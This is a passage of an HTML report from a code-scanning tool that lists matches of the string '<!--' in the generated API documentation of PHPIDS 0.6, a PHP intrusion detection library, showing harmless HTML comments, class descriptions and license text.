class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Report.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(142/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Report.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Report.php.html</span>:<span class='line_number'>22</span> <span class='match_count'>(143/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- <a href="#sec-classes">Classes</a> 20- </div> 21- <div class="info-box-body"> 22: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 23-<p class="short-description">PHPIDS</p> 24-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 25- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching.html</span>:<span class='line_number'>5</span> <span class='match_count'>(144/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Caching</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching.html</span>:<span class='line_number'>23</span> <span class='match_count'>(145/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- 21- </div> 22- <div class="info-box-body"> 23: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 24-<p class="short-description">Caching factory</p> 25-<p class="description"><p>This class is used as a factory to load the correct concrete caching implementation.</p></p> 26- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching.html</span>:<span class='line_number'>79</span> <span class='match_count'>(146/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>76- </div> 77- <div class="info-box-body"> 78- <A NAME='method_detail'></A> 79:<a name="methodfactory" id="factory"><span class='match_highlight'><!--</span> --></a> 80-<div class="evenrow"> 81- 82- <div class="method-header"> 83- <span class="method-title">static method factory</span> (line <span class="line-number">62</span>) 84- </div> 85- 86: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 87-<p class="short-description">Factory method</p> 88- <ul class="tags"> 89- <li><span class="field">return:</span> caching facility</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Email.html</span>:<span class='line_number'>5</span> <span class='match_count'>(147/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Log_Email</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Email.html</span>:<span class='line_number'>28</span> <span class='match_count'>(148/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>25- <ul> 26- <li><a href="../PHPIDS/IDS_Log_Interface.html">IDS_Log_Interface</a></li> </ul> 27- </p> 28: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 29-<p class="short-description">Email logging wrapper</p> 30-<p class="description"><p>The Email wrapper is designed to send reports via email. It implements the singleton pattern.</p></p> 31- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Email.html</span>:<span class='line_number'>108</span> <span class='match_count'>(149/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>105- </div> 106- <div class="info-box-body"> 107- <A NAME='method_detail'></A> 108:<a name="methodgetInstance" id="getInstance"><span class='match_highlight'><!--</span> --></a> 109-<div class="evenrow"> 110- 111- <div class="method-header"> 112- <span class="method-title">static method getInstance</span> (line <span class="line-number">182</span>) 113- </div> 114- 115: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 116-<p class="short-description">Returns an instance of this class</p> 117-<p class="description"><p>This method allows the passed argument to be either an instance of IDS_Init or an array.</p></p> 118- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Email.html</span>:<span class='line_number'>140</span> <span class='match_count'>(150/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>137- 138- </div> 139- 140:<a name="method__construct" id="__construct"><span class='match_highlight'><!--</span> --></a> 141-<div class="oddrow"> 142- 143- <div class="method-header"> 144- <span class="method-title">Constructor __construct</span> (line <span class="line-number">146</span>) 145- </div> 146- 147: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 148-<p class="short-description">Constructor</p> 149- <ul class="tags"> 150- <li><span class="field">access:</span> protected</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Email.html</span>:<span class='line_number'>169</span> <span class='match_count'>(151/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>166- 167- 168- </div> 169:<a name="methodexecute" id="execute"><span class='match_highlight'><!--</span> --></a> 170-<div class="evenrow"> 171- 172- <div class="method-header"> 173- <span class="method-title">execute</span> (line <span class="line-number">316</span>) 174- </div> 175- 176: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 177-<p class="short-description">Sends the report to registered recipients</p> 178- <ul class="tags"> 179- <li><span class="field">throws:</span> Exception if data is no string</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Email.html</span>:<span class='line_number'>205</span> <span class='match_count'>(152/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>202- </dl> 203- 204- </div> 205:<a name="methodisSpamAttempt" id="isSpamAttempt"><span class='match_highlight'><!--</span> --></a> 206-<div class="oddrow"> 207- 208- <div class="method-header"> 209- <span class="method-title">isSpamAttempt</span> (line <span class="line-number">210</span>) 210- </div> 211- 212: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 213-<p class="short-description">Detects spam attempts</p> 214-<p class="description"><p>To avoid mail spam through this logging class this function is used to detect such attempts based on the alert frequency.</p></p> 215- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Email.html</span>:<span class='line_number'>230</span> <span class='match_count'>(153/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>227- 228- 229- </div> 230:<a name="methodprepareData" id="prepareData"><span class='match_highlight'><!--</span> --></a> 231-<div class="evenrow"> 232- 233- <div class="method-header"> 234- <span class="method-title">prepareData</span> (line <span class="line-number">270</span>) 235- </div> 236- 237: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 238-<p class="short-description">Prepares data</p> 239-<p class="description"><p>Converts given data into a format that can be read in an email. You might edit this method to your requirements.</p></p> 240- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Email.html</span>:<span class='line_number'>260</span> <span class='match_count'>(154/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>257- 258- 259- </div> 260:<a name="methodsend" id="send"><span class='match_highlight'><!--</span> --></a> 261-<div class="oddrow"> 262- 263- <div class="method-header"> 264- <span class="method-title">send</span> (line <span class="line-number">385</span>) 265- </div> 266- 267: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 268-<p class="short-description">Sends an email</p> 269- <ul class="tags"> 270- <li><span class="field">access:</span> protected</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---Database.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(155/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Database.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---Database.php.html</span>:<span class='line_number'>23</span> <span class='match_count'>(156/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- | <a href="#sec-includes">Includes</a> 21- </div> 22- <div class="info-box-body"> 23: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 24-<p class="short-description">PHPIDS</p> 25-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 26- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---Database.php.html</span>:<span class='line_number'>72</span> <span class='match_count'>(157/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>69- | <span class="disabled">Includes</span> 70- </div> 71- <div class="info-box-body"> 72: <a name="_IDS/Log/Interface_php"><span class='match_highlight'><!--</span> --></a> 73-<div class="oddrow"> 74- 75- <div></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---Database.php.html</span>:<span class='line_number'>83</span> <span class='match_count'>(158/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>80- </span> 81- </div> 82- 83: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 84-<p class="short-description">PHPIDS</p> 85-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 86- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage_Abstract.html</span>:<span class='line_number'>5</span> <span class='match_count'>(159/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Filter_Storage_Abstract</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage_Abstract.html</span>:<span class='line_number'>25</span> <span class='match_count'>(160/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>22- 23- </div> 24- <div class="info-box-body"> 25: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 26-<p class="short-description">Abstract Filter Storage</p> 27-<p class="description"><p>Class to assure the systems API</p></p> 28- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage_Abstract.html</span>:<span class='line_number'>147</span> <span class='match_count'>(161/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>144- 145- </div> 146- <div class="info-box-body"> 147: <a name="var$caching" id="$caching"><span class='match_highlight'><!--</span> --></A> 148-<div class="evenrow"> 149- 150- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage_Abstract.html</span>:<span class='line_number'>158</span> <span class='match_count'>(162/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>155- </span> 156- </div> 157- 158: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 159- <ul class="tags"> 160- <li><span class="field">access:</span> protected</li> 161- </ul></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage_Abstract.html</span>:<span class='line_number'>168</span> <span class='match_count'>(163/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>165- 166- 167-</div> 168:<a name="var$filterPath" id="$filterPath"><span class='match_highlight'><!--</span> --></A> 169-<div class="oddrow"> 170- 171- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage_Abstract.html</span>:<span class='line_number'>179</span> <span class='match_count'>(164/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>176- </span> 177- </div> 178- 179: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 180- <ul class="tags"> 181- <li><span class="field">access:</span> protected</li> 182- </ul></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage_Abstract.html</span>:<span class='line_number'>206</span> <span class='match_count'>(165/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>203- <div class="info-box-body"> 204- <A NAME='method_detail'></A> 205- 206:<a name="method__construct" id="__construct"><span class='match_highlight'><!--</span> --></a> 207-<div class="evenrow"> 208- 209- <div class="method-header"> 210- <span class="method-title">Constructor __construct</span> (line <span class="line-number">44</span>) 211- </div> 212- 213: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 214-<p class="short-description">Constructor</p> 215- <ul class="tags"> 216- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage_Abstract.html</span>:<span class='line_number'>235</span> <span class='match_count'>(166/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>232- 233- 234- </div> 235:<a name="methodaddFilter" id="addFilter"><span class='match_highlight'><!--</span> --></a> 236-<div class="oddrow"> 237- 238- <div class="method-header"> 239- <span class="method-title">addFilter</span> (line <span class="line-number">96</span>) 240- </div> 241- 242: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 243-<p class="short-description">Adds one particular filter</p> 244- <ul class="tags"> 245- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage_Abstract.html</span>:<span class='line_number'>264</span> <span class='match_count'>(167/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>261- 262- 263- </div> 264:<a name="methodgetFilterSet" id="getFilterSet"><span class='match_highlight'><!--</span> --></a> 265-<div class="evenrow"> 266- 267- <div class="method-header"> 268- <span class="method-title">getFilterSet</span> (line <span class="line-number">85</span>) 269- </div> 270- 271: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 272-<p class="short-description">Returns array containing all filters</p> 273- <ul class="tags"> 274- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage_Abstract.html</span>:<span class='line_number'>288</span> <span class='match_count'>(168/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>285- 286- 287- </div> 288:<a name="methodsetFilterSet" id="setFilterSet"><span class='match_highlight'><!--</span> --></a> 289-<div class="oddrow"> 290- 291- <div class="method-header"> 292- <span class="method-title">setFilterSet</span> (line <span class="line-number">71</span>) 293- </div> 294- 295: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 296-<p class="short-description">Sets filter array manually</p> 297- <ul class="tags"> 298- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---Composite.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(169/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Composite.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---Composite.php.html</span>:<span class='line_number'>23</span> <span class='match_count'>(170/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- | <a href="#sec-includes">Includes</a> 21- </div> 22- <div class="info-box-body"> 23: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 24-<p class="short-description">PHPIDS</p> 25-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 26- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---Composite.php.html</span>:<span class='line_number'>72</span> <span class='match_count'>(171/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>69- | <span class="disabled">Includes</span> 70- </div> 71- <div class="info-box-body"> 72: <a name="_IDS/Log/Interface_php"><span class='match_highlight'><!--</span> --></a> 73-<div class="evenrow"> 74- 75- <div></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---Composite.php.html</span>:<span class='line_number'>83</span> <span class='match_count'>(172/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>80- </span> 81- </div> 82- 83: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 84-<p class="short-description">PHPIDS</p> 85-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 86- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Memcached.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(173/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Memcached.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Memcached.php.html</span>:<span class='line_number'>23</span> <span class='match_count'>(174/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- | <a href="#sec-includes">Includes</a> 21- </div> 22- <div class="info-box-body"> 23: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 24-<p class="short-description">PHPIDS</p> 25-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 26- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Memcached.php.html</span>:<span class='line_number'>72</span> <span class='match_count'>(175/257)</span> <span 